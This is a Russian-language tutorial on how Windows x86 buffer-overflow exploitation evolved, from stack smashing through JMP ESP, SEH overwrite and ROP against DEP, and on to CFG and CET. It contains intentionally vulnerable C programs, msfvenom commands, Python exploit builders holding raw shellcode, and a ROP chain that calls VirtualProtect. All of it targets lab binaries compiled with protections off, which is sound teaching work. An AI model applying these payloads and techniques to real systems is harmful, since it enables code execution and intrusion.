Эволюция эксплуатации переполнения буфера в Windows: от Stack Smashing до ROP и CET

Buffer Overflow - класс уязвимостей, наиболее легко эксплуатируемый в эпоху Windows XP. Классический пример прост: программа записывает слишком много данных в локальный буфер, злоумышленник перезаписывает адрес возврата функции, а процессор после ret начинает выполнять переданные атакующим инструкции.
Но современная Windows устроена иначе. Между ошибкой записи и выполнением произвольного кода сегодня стоят стековые проверки (/GS), рандомизация памяти (ASLR), запрет на выполнение данных (DEP), Control Flow Guard (CFG) и теневую копию стека (CET).
Поэтому давайте рассмотрим Buffer Overflow как историю противостояния, от классического 32-битного stack smashing до современных механизмов защиты.
Вся практическая часть статьи намеренно основана на 32-битной архитектуре (x86). Это «классическая школа», необходимая для понимания концепций (SEH в стеке, передача аргументов через стек). В современных 64-битных системах (x64) механизмы SEH, передачи аргументов и защиты работают иначе :)
1. Что именно происходит при Buffer Overflow
Суть уязвимости заключается в том, что программа записывает данные за пределы выделенного для буфера участка памяти. В результате могут быть повреждены соседние данные, структуры или объекты в памяти. В зависимости от характера ошибки и условий эксплуатации это может привести к аварийному завершению программы, повреждению данных, утечке информации или, в некоторых случаях, к изменению логики выполнения программы вплоть до выполнения произвольного кода.
Буфер
Буфер - непрерывная область памяти фиксированного или заранее выделенного размера, используемая для хранения данных.
Простейший пример:
char buf[16];Такой массив содержит 16 элементов типа char, то есть 16 байт. Допустимые индексы находятся в диапазоне 0..15.
Ошибка возникает, например, в ситуации:
char buffer[16];
memcpy(buffer, input, size);если len > 16, программа выходит за границы объекта buf и начинает изменять чужую память. Важно различать две ситуации:
Out-of-bounds read - программа читает данные за пределами допустимого объекта.
Out-of-bounds write - программа записывает данные за пределы допустимого объекта. Buffer overflow обычно рассматривается в контексте выхода записи за границы буфера.
Области памяти процесса
Для понимания последствий переполнения, рассмотрим упрощённую модель виртуального адресного пространства процесса:

Stack - хранит локальные переменные, аргументы, адреса возврата и сохранённые регистры. Каждый вызов функции создаёт новый stack frame.
Heap (куча) - динамически выделяемая память (
malloc,new).BSS/Data - области, связанные с глобальными и статическими объектами.
Text - исполняемый машинный код, обычно помечен только для чтения и выполнения.
2. Классический Stack Smashing
Посмотрим, почему именно переполнение локального буфера может привести к перезаписи адреса возврата.
При вызове функции стек используется для размещения параметров, адреса возврата, сохранённого указателя кадра стека и локальных данных функции.
Упрощённо stack frame функции можно представить следующим образом:

Стек растёт в сторону уменьшения адресов: при выполнении push значение ESP уменьшается.
Поэтому важно различать два направления:
стек при добавлении новых данных растёт от высоких адресов к низким;
последовательная запись в массив по увеличивающимся индексам (
buf[0],buf[1],buf[2]...) перемещается от меньших адресов к большим.
Именно поэтому локальный буфер, расположенный в нижней части stack frame, при записи за его границы потенциально может затронуть данные, находящиеся по более высоким адресам.
Пример заполнения стека
Рассмотрим функцию:
int add(int a, int b) {
int result;
result = a + b;
return result;
}
int main() {
int x = add(5, 3);
return 0;
}Условно представим адрес начала стека с 0xFFFFD000. В реальном процессе адреса могут отличаться.
Таблица 1. Пошаговая последовательность инструкций при вызове функции
№ | Инструкция | Что происходит | Куда идёт запись |
|---|---|---|---|
1 |
| второй аргумент ( |
|
2 |
| первый аргумент ( |
|
3 |
| CPU кладёт в стек адрес следующей инструкции после |
|
4 |
| сохраняется старый base pointer вызывающей функции ( |
|
5 |
| новый base pointer указывает на текущую вершину стека - теперь это точка отсчёта для локальных переменных и аргументов | регистр |
6 |
| резервируется место под локальную переменную |
|

Аргументы кладутся в стек справа-налево (сначала b, потом a) - поэтому в памяти первый параметр функции оказывается ближе к вершине стека. Каждый push уменьшает esp на 4 байта.ebp используется при вызове функции как указатель на все аргументы функции, в нашем примере:
a - [ebp+8]b - [ebp+12]result - [ebp-4]
После 6 пунктов выполняется тело функции
(result = a + b), а на выходе:
mov esp, ebp(откатываетespдо сохраненного значения);pop ebp(восстанавливаетebp);ret(берет со стека адрес возврата и передает туда управление).
Представим, что механизмы защиты отключены, рассмотрим как легко получить контроль над адресом возврата.
Контроль над EIP
Механика уязвимости
Программа копирует данные пользователя в буфер фиксированного размера без проверки длины.
Атакующий подает данные длиннее буфера.
Избыточные байты перезаписывают адрес возврата функции.
Когда функция завершается (инструкция
ret), процессор берет значение из перезаписанного места как адрес, на который нужно перейти - и передает туда управление.
Рассмотрим следующий пример уязвимого кода.
#include <stdio.h>
#include <string.h>
void vulnerable_function(const char *input) {
char buffer[64];
printf("[*] Адрес буфера на стеке: %p\n", (void*)buffer);
printf("[*] Адрес функции в памяти: %p\n", (void*)vulnerable_function);
// Опасная операция: копирование строки без валидации размера целевого массива
strcpy(buffer, input);
printf("[+] Буфер заполнен: %s\n", buffer);
}
int main(int argc, char **argv) {
if (argc < 2) {
printf("Использование: %s <строка>\n", argv[0]);
return 1;
}
vulnerable_function(argv[1]);
return 0;
}Функция vulnerable копирует строку до нулевого байта без проверки границ buffer. Если input длиннее 64 байт, данные перезапишут стек выше по адресам.
Для компиляции Windows используем следующую команду:
cl /Od /Zi /GS- vuln_win.c /link /DYNAMICBASE:NO /BASE:0x00400000 /NXCOMPAT:NO /OUT:vuln_insecure.exeТаблица 2. Описание параметров компиляции
Флаг | Назначение | По умолчанию в современных ОС |
|---|---|---|
| отключает вставку | Включен ( |
| отключает | Включен ( |
| Фиксация предпочтительного адреса загрузки модуля | Динамический |
| Разрешает выполнение инструкций со стека (отключает | Запрещен ( |
| Отключение оптимизаций компилятора для сохранения структуры кода | Включен ( |
Windows 11 может дополнительно блокировать применение указанных настроек, если после компиляции, они не применились к файлу, то можно указать их дополнительно в настройках. Путь: Настройки - Управление приложениями/браузером - Защита от эксплойтов - Параметры защиты от эксплойтов - Параметры программы. Добавляем нашу программу и снимаем галочки на механизмы защиты.
Соберем программу через Developer Command Prompt for VS 2022. И выполним переполнение:

Что произошло по шагам
Функция
strcpyскопировала 200 байт'A'(0x41), выйдя за пределы 64 байт массиваbuffer.Строка
[+] Функция отработала штатно...успела напечататься, поскольку тело функции завершилось без ошибок.Процессор подошел к выходу функции и выполнил инструкцию
ret(Return).Инструкция
retсняла со стека значение, лежащее в ячейке сохраненного адреса возврата. Из-за переполнения там находились четыре байта'A'- то есть адрес0x41414141.Процессор попытался установить регистр счетчика команд
EIPв0x41414141и прочитать оттуда первую инструкцию. В Windows адрес0x41414141не принадлежит ни одному сегменту исполняемой памяти процесса.Блок управления памятью (MMU) процессора вызвал аппаратное прерывание Page Fault, ядро Windows перевело его в исключение
STATUS_ACCESS_VIOLATION, и процесс был принудительно остановлен.
Анализ в WinDBG
Запустим скомпилированный файл в WinDBG, нажимаем RUN до получения исключения:

1df4- идентификатор процесса,1b00- идентификатор потока (в шестнадцатеричном виде).c0000005- кодSTATUS_ACCESS_VIOLATION: обращение к памяти, к которой нельзя обратиться так, как попытался процессор.first chance- отладчик получил событие до того, как его начал обрабатывать сам процесс.eip=41414141(0x41 = символ 'A') говорит, что поток выполнения был заполнен значением из входной строки.
Посмотрим границу данных стека командой db 0019ff24 L80:

Видим, что успешно вызвали переполнение, теперь попробуем получить контроль над EIP.
Определение offset
Представим, что мы не знаем, что нужно больше 64 байтов для перезаписи значения функции возврата, определим 4 байта, которые перезаписывают регистр EIP:
Создадим нагрузку в 70 байт для определения отступа:
msf-pattern_create -l 100

Используем ее для нашей программы в отладчике в момент падения видим:

Видим, что EIPпринял новое значение, сохраним его и выполним команду для определения offset:

Проверим, что контролируем EIP, создадим код для генерации полезной нагрузки:
data = 'A'*68
eip = 'K'*4
payload = data + eip
print(payload)Запускаем с ним наш файл. Успешно перезаписываем значение EIPкодом символа K:

Нам удалось получить контроль над EIP. Теперь можно передать управление коду, который находится в нашем входном буфере.
2.2. NOP-sled: первый способ сделать переход
Чтобы передать управление нашему коду, мы можем использовать NOP-sled («скользящую дорожку»). Инструкция NOP (0x90) не делает ничего, кроме увеличения счетчика команд EIP на 1.
Если разместить перед шеллкодом сотню байт 0x90, а в EIP записать адрес середины этой дорожки, процессор пройдет по пустым инструкциям прямо к началу полезного кода.

Для полноценной эксплуатации с использованием NOP-sled рассмотрим следующий код:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void vuln_func(char* data, int size) {
char buffer[16];
/* Намеренно уязвимое копирование */
memcpy(buffer, data, size);
printf("Copied successfully\n");
}
int main(void)
{
FILE* f = fopen("input.bin", "rb");
if (!f) {
perror("input.bin");
return 1;
}
fseek(f, 0, SEEK_END);
long size = ftell(f);
rewind(f);
char* data = malloc((size_t)size + 1);
if (!data) {
fclose(f);
return 1;
}
fread(data, 1, (size_t)size, f);
fclose(f);
data[size] = '\0';
vuln_func(data, size);
free(data);
return 0;
}Компилируем файл аналогично предыдущему коду.
Уязвимая функция vulnerable копирует строку до нулевого байта без проверки границ buffer. Если input длиннее 64 байт, данные перезапишут стек выше по адресам.
Аналогично предыдущему случаю вычислим offset. Получим значение: 20.
Необходимо вычислить адрес, в который поместим NOP дорожку до нашей полезной нагрузки, создадим файл полезной нагрузки следующим кодом:
from pathlib import Path
output = Path(__file__).resolve().parent / "input.bin"
offset = b'A'*20
eip = b'BBBB'
nop = b'\x90'*15
with open("input.bin", "wb") as f:
f.write(offset)
f.write(eip)
f.write(nop)Запустим программу в отладчике, дойдем до переполнения и посмотрим стек командой: db esp-30.

Видим, что дорожка NOP начинается с 0x0019ff14.
Значит адрес возврата возьмем немного с запасом: 0x0019ff18.
Создаем полезную нагрузку:
msfvenom -p windows/exec CMD=calc.exe -f python -b ‘\x00’
И сформируем полностью готовый файл для эксплуатации переполнения буфера:
import struct
RET_ADDR = 0x0019ff18
OFFSET = 20
NOP_SLED_LEN = 16
# Шеллкод для запуска calc.exe (x86, без null-байтов, ~193 байта).
buf = b""
buf += b"\xbe\xc8\xd6\x74\x14\xdb\xcc\xd9\x74\x24\xf4\x58"
buf += b"\x33\xc9\xb1\x31\x31\x70\x13\x83\xe8\xfc\x03\x70"
buf += b"\xc7\x34\x81\xe8\x3f\x3a\x6a\x11\xbf\x5b\xe2\xf4"
buf += b"\x8e\x5b\x90\x7d\xa0\x6b\xd2\xd0\x4c\x07\xb6\xc0"
buf += b"\xc7\x65\x1f\xe6\x60\xc3\x79\xc9\x71\x78\xb9\x48"
buf += b"\xf1\x83\xee\xaa\xc8\x4b\xe3\xab\x0d\xb1\x0e\xf9"
buf += b"\xc6\xbd\xbd\xee\x63\x8b\x7d\x84\x3f\x1d\x06\x79"
buf += b"\xf7\x1c\x27\x2c\x8c\x46\xe7\xce\x41\xf3\xae\xc8"
buf += b"\x86\x3e\x78\x62\x7c\xb4\x7b\xa2\x4d\x35\xd7\x8b"
buf += b"\x62\xc4\x29\xcb\x44\x37\x5c\x25\xb7\xca\x67\xf2"
buf += b"\xca\x10\xed\xe1\x6c\xd2\x55\xce\x8d\x37\x03\x85"
buf += b"\x81\xfc\x47\xc1\x85\x03\x8b\x79\xb1\x88\x2a\xae"
buf += b"\x30\xca\x08\x6a\x19\x88\x31\x2b\xc7\x7f\x4d\x2b"
buf += b"\xa8\x20\xeb\x27\x44\x34\x86\x65\x02\xcb\x14\x10"
buf += b"\x60\xcb\x26\x1b\xd4\xa4\x17\x90\xbb\xb3\xa7\x73"
buf += b"\xf8\x71\x33\xe3\x96\xe1\x1a\x8e\xdb\x6f\x9d\x64"
buf += b"\x1f\x96\x1e\x8d\xdf\x6d\x3e\xe4\xda\x2a\xf8\x14"
buf += b"\x96\x23\x6d\x1b\x05\x43\xa4\x78\xc8\xd7\x24\x51"
buf += b"\x6f\x50\xce\xad"
padding = b'A' * OFFSET
return_address = struct.pack('<I', RET_ADDR)
nop_sled = b'\x90' * NOP_SLED_LEN
payload = padding + return_address + nop_sled + buf
with open('input.bin', 'wb') as f:
f.write(payload)
print(f"[+] Итоговый размер input.bin: {len(payload)} байт")
print(f"[+] Return address: 0x{RET_ADDR:08x}")
Запускаем и получаем процесс калькулятора:

В случае если адрес стека меняется с каждым запуском, дорожку NOP делают более длинной и выбирают середину, чтобы наверняка попасть в нее.
Описанный шаблон может не выполниться в некоторых случаях, если размер стека меньше чем необходимо для подготовленного буфера, для проверки размера стека: !teb. Чтобы задать размер в байтах при компиляции добавляем флаг: /F2097152
Однако этот подход имеет недостаток: адрес стека может изменяться при каждом запуске программы из-за работы механизмов защиты памяти, таких как ASLR.
ASLR: адрес больше нельзя считать постоянным
ASLR (Address Space Layout Randomization) - это защитный механизм ядра операционной системы, который рандомизирует базовые адреса ключевых областей памяти процесса при каждом запуске:
базовый адрес стека (Stack base);
базовый адрес кучи (Heap base);
базовые адреса динамических библиотек (
libc, системные DLL);сегменты исполняемого файла (при сборке с поддержкой
PIE//DYNAMICBASE). При создании процесса загрузчик ОС генерирует случайное энтропийное смещение (offset) и сдвигает относительно него всю область стека.
Для дальнейшей эксплуатации необходимо найти механизм нахождения стабильного адреса для перемещения к подготовленному пейлоаду.
3. JMP ESP: переход от фиксированного адреса к регистру
Вместо того чтобы угадывать, где именно в памяти окажется наш шеллкод, мы можем заставить процессор перейти по адресу, на который указывает регистр ESP в момент выполнения инструкции ret.
Алгоритм работы при возврате из функции vuln_func:
Из стека извлекается сохраненный адрес возврата и загружается в регистр
EIP.Указатель стека
ESPувеличивается на 4 байта и начинает указывать на данные, которые в стеке находились сразу после сохраненного EIP. В структуре нашего пейлоада сразу после 4 байт адреса возврата идетNOP-sledи шеллкод.Если перезаписать сохраненный
EIPадресом инструкцииjmp esp(код:\xff\xe4), то процессор выполнит переход по адресу из регистраESP, попав на шеллкод.
Поиск jmp esp в бинарном файле
Нам нужно найти адрес инструкции jmp esp в коде программы (vuln_insecure.exe).
Многие библиотеки в Windows содержат эту часто используемую инструкцию, но адреса, используемые в библиотеке, должны быть статическими, что исключает библиотеки, скомпилированные с поддержкой ASLR. И адрес инструкции не должен содержать никаких плохих символов, которые могли бы сломать эксплойт, так как адрес будет частью входного буфера.
Для демонстрации будем использовать следующий код библиотеки, используемой программой:
#include <windows.h>
__declspec(dllexport) void __stdcall gadget_jmp_esp() {
__asm {
jmp esp
}
}
// точка входа DLL
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
return TRUE;
}Скомпилируем ее: cl.exe /LD /nologo /DYNAMICBASE:NO jmp_esp_lib.c /Fe:jmp_esp.dll
И дополнительно укажем, что ASLR=FALSE (чтобы компилятор тоже это видел):editbin.exe /DYNAMICBASE:NO jmp_esp.dll
В программу сразу после подключаемых библиотек добавим импорт нашей DLL и ее вызов в main:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#pragma comment(lib, "jmp_esp.lib")
extern void __stdcall gadget_jmp_esp();
void vuln_func(char* data, int size) {
char buffer[16];
/* Намеренно уязвимое копирование */
memcpy(buffer, data, size);
printf("Copied successfully\n");
}
int main(void)
{
volatile int never = 0;
if (never) {
gadget_jmp_esp();
}
FILE* f = fopen("input.bin", "rb");
if (!f) {
perror("input.bin");
return 1;
}
fseek(f, 0, SEEK_END);
long size = ftell(f);
rewind(f);
char* data = malloc((size_t)size + 1);
if (!data) {
fclose(f);
return 1;
}
fread(data, 1, (size_t)size, f);
fclose(f);
data[size] = '\0';
vuln_func(data, size);
free(data);
return 0;
}Для компиляции Windows используем следующую команду:
cl /Od /Zi /GS- vuln_win.c /link /BASE:0x00400000 /NXCOMPAT:NO /OUT:vuln_insecure.exe
Для поиска информации о используемых DLL нам необходим модуль mona corelan/mona: Corelan Repository for mona.py . Он не предустановлен на последних WinDBG, необходима установка.
Запросим информацию обо всех библиотеках DLL, загруженных нашим исполняемым файлом в память процесса, с помощью команды !mona modules:

Видим, что ASLR в библиотеке отключен, найдем в ней адрес инструкции командой: !mona jmp -r esp -m jmp_esp.dll

В созданный ранее эксплойт подставляем найденный адрес инструкции (меняем значение RET_ADDR=0x6A461003). И аналогично предыдущему получаем процесс калькулятора.
В случаях, если не нашли необходимую инструкцию jmp esp, можно выполнить код через перехват-обработку исключений.
4. Перехват обработки исключений (SEH Overwrite)
Архитектура SEH в Windows
SEH (Structured Exception Handling) - механизм Windows, позволяющий программе обрабатывать исключения, возникающие во время выполнения. Например, это могут быть access violation, деление на ноль и другие аппаратные или программные исключения.
В 32-битных приложениях Windows каждый поток имеет цепочку обработчиков исключений (SEH chain), которая хранится прямо в стеке. Структура одной записи SEH занимает 8 байт и выглядит следующим образом:
typedef struct _EXCEPTION_REGISTRATION {
struct _EXCEPTION_REGISTRATION *prev;// Указатель на предыдущую запись SEH (4 байта)
PEXCEPTION_ROUTINE handler;// Адрес функции-обработчика исключения (4 байта)
} EXCEPTION_REGISTRATION;
В памяти стека (при росте адресов снизу вверх) это располагается так:

[SEH Handler]- это адрес функции-обработчика. Когда происходит исключение, ОС передает управление по этому адресу. Функция решает, может ли она обработать ошибку, или нужно передать её следующему обработчику.[nSEH]- это указатель на следующую запись в цепочке SEH (которая находится выше в стеке). Если текущий обработчик не справился с ошибкой, ОС берет этот адрес и переходит к следующему обработчику в цепочке.[prev SEH]- это не отдельное поле текущей записи, а полеNextпредыдущей записи в стеке, которое указывает на текущую запись. Замыкает связный список, позволяя ОС двигаться по цепочке обработчиков.
Механизм экплуатации
Если уязвимый буфер находится в стеке и запись продолжается за его границы, повреждены могут быть не только локальные переменные и данные, связанные с возвратом из функции.
Если переполнить буфер сильнее, можно переписать записи SEH, которые находятся выше по стеку, чем EIP.
Перезаписываем
SEH Handlerадресом инструкцииpop pop ret(её ищем через!mona seh).Перезаписываем
nSEHинструкцией короткого прыжкаjmp short(\xEB\x06).Искусственно вызываем исключение (например, обращаясь к невалидной памяти).
ОС видит поддельный
Handler, выполняетpop pop ret, что возвращает управление наnSEH.nSEHвыполняетjmp short, перепрыгивая через 8 байт структуры SEH, прямо на наш шеллкод.
Для работы этой техники модуль, содержащий гаджет, не должен иметь включенной защиты SafeSEH (иначе ОС проверит валидность адреса обработчика по специальной таблице и завершит процесс).
Для демонстрации скомпилируем наш файл без SafeSEH: cl /Od /Zi /GS- vuln.c /link /DYNAMICBASE:NO /BASE:0x00400000 /NXCOMPAT:NO /SAFESEH:NO /OUT:vuln_insecure.exe
Выполним поиск подходящих строк командой !mona seh -m vuln_insecure.exe

pop pop retЛюбой из найденных адресов подойдет, так как все они выполняют одну и ту же функцию: два pop (пропускают служебные данные ОС) и один ret (передают управление на nSEH).
Далее, в момент падения программы необходимо выполнить команду: !mona findmsp , чтобы найти SEH offset.

Зная это значение, используем следующий код для создания файла с полезной нагрузкой запускающей шелл Windows:
В современных исполняемых файлах эта защита включена по умолчанию, поэтому SEH overwrite встречается только в устаревших приложениях или библиотеках, собранных без неё. Но обе эти техники закрываются включенным DEP.
5. Обход DEP через ROP (Return-Oriented Programming)
DEP (Data Execution Prevention) - это защитный механизм, который аппаратно запрещает выполнение кода в регионах памяти, помеченных как неисполняемые. В архитектуре x86/x64 это реализуется через бит NX (No-eXecute) в таблице страниц памяти (PTE).
Каждая страница памяти имеет атрибуты доступа:
PAGE_READONLY- только чтение;PAGE_READWRITE- чтение и запись;PAGE_EXECUTE_READ- чтение и выполнение;PAGE_EXECUTE_READWRITE- чтение, запись и выполнение. Когда DEP включен, стек и куча помечаются какPAGE_READWRITE, что означает: можно читать и писать данные, но нельзя выполнять код.
Cуть техники ROP
ROP (Return-Oriented Programming) - это техника, при которой атакующий не внедряет собственный код, а использует существующие инструкции из памяти программы и системных библиотек.
Вместо шеллкода строится цепочка ROP-гаджетов - коротких последовательностей инструкций, заканчивающихся на ret. Каждая инструкция выполняет простую операцию (например, pop eax; ret), а цепочка в целом реализует сложную логику.
Наша цель - вызвать функциюVirtualProtect, чтобы она сняла DEP со стека (сделала его PAGE_EXECUTE_READWRITE), и только потом передать управление на наш шеллкод.
Рассмотрим следующий код библиотеки:
#include <windows.h>
__declspec(dllexport) void gadget_pop_pop_ret(void) {
__asm {
pop eax
pop ebp
ret
}
}
__declspec(dllexport) BOOL test_VirtualProtect(
LPVOID address,
SIZE_T size,
DWORD newProtect,
PDWORD oldProtect
) {
return VirtualProtect(address, size, newProtect, oldProtect);
}
BOOL APIENTRY DllMain(
HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
) {
return TRUE;
}Скомпилируем его командами: cl.exe /LD /nologo /DYNAMICBASE:NO /SAFESEH:NO jmp_esp_lib.c /Fe:jmp_esp.dll
editbin.exe /DYNAMICBASE:NO jmp_esp.dll
Код самой программы:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
void vuln_func(char* data, int size) {
char buffer[16];
__try {
// уязвимое копирование
memcpy(buffer, data, size);
printf("Copied successfully\n");
}
__except(EXCEPTION_EXECUTE_HANDLER) {
printf("Exception handled\n");
}
}
int main(void)
{
FILE* f = fopen("input.bin", "rb");
if (!f) {
perror("input.bin");
return 1;
}
fseek(f, 0, SEEK_END);
long size = ftell(f);
rewind(f);
char* data = malloc((size_t)size + 1);
if (!data) {
fclose(f);
return 1;
}
fread(data, 1, (size_t)size, f);
fclose(f);
data[size] = '\0';
vuln_func(data, size);
free(data);
return 0;
}Компилируем с включенным DEP:cl.exe /Od /Zi /GS- vuln.c /link /DYNAMICBASE:NO /BASE:0x00400000 /OUT:vuln_insecure.exe
Выполняем команду mona для поиска ROP-цепочки в WinDBG:!mona rop -m jmp_esp.dll,vuln_insecure.exe
Результат по умолчанию сохраняется в C:\Windows\SysWOW64\rop_chains.md
В файле будет код на разных языках для ROP цепочки. В конце цепочки mona положит адрес jmp esp, чтобы после снятия DEP процессор прыгнул на наш шеллкод, который мы заранее положили в стек.
Выберем вариант для Python и используем для нашего скрипта по созданию полезной нагрузки:
import struct
# Смещение
OFFSET_TO_EIP = 20
# ROP-ЦЕПОЧКА (Сгенерирована mona.py)
rop_gadgets = [
#[---INFO:gadgets_to_set_ebp:---]
0x00436961, # pop ebp # retn [vuln_insecure]
0x00436961, # skip 4 bytes [vuln_insecure]
#[---INFO:gadgets_to_set_ebx:---]
0x0040a3ee, # pop ebx # retn [vuln_insecure]
0x00000201, # 0x00000201-> ebx
#[---INFO:gadgets_to_set_edx:---]
0x1000ba69, # pop edx # retn [jmp_esp]
0x00000040, # 0x00000040-> edx
#[---INFO:gadgets_to_set_ecx:---]
0x00442928, # pop ecx # retn [vuln_insecure]
0x00478728, # &Writable location [vuln_insecure]
#[---INFO:gadgets_to_set_edi:---]
0x00415525, # pop edi # retn [vuln_insecure]
0x00408ec6, # retn (rop nop) [vuln_insecure]
#[---INFO:gadgets_to_set_esi:---]
0x004159de, # pop esi # retn [vuln_insecure]
0x0044b875, # jmp [eax] [vuln_insecure]
0x00426840, # pop eax # retn [vuln_insecure]
0x1000d000, # ptr to &VirtualProtect() [IAT jmp_esp]
#[---INFO:pushad:---]
0x00411baf, # pushad # add al,0 # pop ebp # retn [vuln_insecure]
#[---INFO:extras:---]
0x10001003, # ptr to 'jmp esp' [jmp_esp]
]
# Преобразуем список адресов в байты (little-endian)
rop_payload = b"".join(struct.pack('<I', addr) for addr in rop_gadgets)
shellcode = (
b"\x31\xc0\x64\x8b\x40\x30\x8b\x40\x0c\x8b\x70\x14"
b"\x8b\x5e\x10\x8b\x53\x3c\x01\xda\x8b\x52\x78\x85"
b"\xd2\x74\x62\x01\xda\x52\x8b\x6a\x20\x01\xdd\x89"
b"\xef\x8b\x42\x18\x8d\x44\x85\x00\x50\x3b\x3c\x24"
b"\x73\x47\x8b\x07\x83\xc7\x04\x01\xd8\x31\xc9\x0f"
b"\xb6\x10\x84\xd2\x74\x10\x80\xfa\x61\x7c\x03\x80"
b"\xea\x20\xc1\xc9\x0d\x01\xd1\x40\xeb\xe9\x81\xf9"
b"\x68\xf6\x88\x0d\x75\xd3\x58\x5a\x83\xef\x04\x29"
b"\xef\xc1\xef\x02\x8b\x42\x24\x01\xd8\x0f\xb7\x04"
b"\x78\x8b\x52\x1c\x01\xda\x8b\x04\x82\x01\xd8\xeb"
b"\x08\x83\xc4\x04\x5a\x8b\x36\xeb\x8b\x89\xc7\x68"
b"\x63\x6d\x64\x00\x89\xe6\x6a\x05\x56\xff\xd7\xeb"
b"\xfe"
)
# Небольшой NOP-sled для надежности (после jmp esp)
nop_sled = b'\x90' * 16
# Структура: [Паддинг 20 байт] [ROP-цепочка] [NOP-sled] [Шеллкод]
payload = (
b"A" * OFFSET_TO_EIP +
rop_payload +
nop_sled +
shellcode
)
with open('input.bin', 'wb') as f:
f.write(payload)
print(f"[+] Финальный ROP Payload успешно создан!")
print(f"[+] Размер: {len(payload)} байт")
print(f"[+] Offset to EIP: {OFFSET_TO_EIP}")
print(f"[+] Адрес VirtualProtect в IAT: 0x1000d000")Запускаем с ним наш файл и получаем сессию через переполнение:

ROP снял главное ограничение DEP - необходимость исполнять код со стека - потому что вся полезная нагрузка выполняется через существующие инструкции.
Казалось бы, ROP решает все проблемы. Но защита не стоит на месте. Сегодня классический ROP и SEH Overwrite блокируются двумя методами защиты.
6. Современность: CET, CFG
В эпоху Windows 7 или 8 эта техника ROP решала задачи выполнения эксплойтов. Но в современных ОС (Windows 10/11) применяются механизмы, которые ломают выполнение ROP и SEH Overwrite.
Control Flow Guard (CFG)
При компиляции с включенным CFG компилятор создает специальную битовую карту (bitmap) всех легитимных точек входа в функции внутри модуля.
Сложные ROP-цепочки используют косвенные переходы (например, jmp [eax] или call [ebx]), чтобы передать управление. Когда выполняется такой переход, CFG перехватывает управление и проверяет, ведет ли этот адрес на легитимное начало функции согласно битовой карте. Если адрес указывает в середину инструкции (как при ROP-цепочке), система завершает процесс.
Библиотеки, где отключен этот механизм, также просматривается через !mona modules. Затем в них можем выполнить поиск ROP-цепочек.
В случае, если во всех библиотеках включен данный механизм защиты, все равно можно запустить поиск ROP-цепочек через mona, которая выполнит поиск цепочек в начале функций, с учетом защиты.
Intel CET (Control-flow Enforcement Technology)
CET - аппаратный механизм защиты потока управления, реализованный начиная с процессоров Intel Tiger Lake (11-е поколение) и AMD Zen 3. Технология описывает два механизма: Shadow Stack (защита обратных переходов, ret) и Indirect Branch Tracking (защита прямых косвенных переходов, call/jmp).
Windows использует только - Shadow Stack.
Shadow Stack работает так: при каждом call процессор кладёт адрес возврата одновременно в обычный стек и в отдельную область памяти, защищённую от записи, через mov/push. При выполнении ret процессор сравнивает оба значения - и если они различны (то есть обычный стек был перезаписан, как в наших примерах с ROP и SEH), генерирует исключение #CP вместо передачи управления по гаджету.
Но Shadow Stack в Windows не поддерживается для 32-битных и WoW64-процессов и даже на x64 защита включается только для исполняемых файлов, собранных с флагом /CETCOMPAT.
Но даже для обхода этих технологий начали применяться Data-Only атаки:
Вместо перезаписи адреса возврата, атакующие перезаписывают переменные в стеке или куче. Например, меняют булевый флаг
is_admin = falseнаtrue, или подменяет указатель на структуру авторизации.Перезапись путей к загружаемым DLL, имен файлов или сетевых настроек, что заставляет процесс (с корректным потоком управления) загрузить вредоносную библиотеку или отправить данные атакующему.
Заключение
Эволюция эксплуатации Buffer Overflow - это иллюстрация гонки вооружений в ИБ.
Stack Smashing - замена
EIPи перемещение на нужный адрес в стек.Появление ASLR - поиск статических указателей и использование
JMP ESP.Если отсутствовала нужная инструкция
JMP ESP- появился обходной путь через SEH Overwrite.После внедрения DEP выполнение кода в стеке стало невозможным - изобрели
ROP-цепочки, использующие легитимные инструкции системы.Аппаратная защита потока управления (CET и CFG) стала блокировать классический ROP, что вызвало переход к Data-Only атакам.
Пока в коде остаются небезопасные функции и логические ошибки, эволюция атак и механизмов защиты не прекратится. Особенно с учетом применения ИИ для разработки новых библиотек.
KioskNews shows a cleaned-up reading view extracted from the publisher’s page — the original always lives on their site, not ours.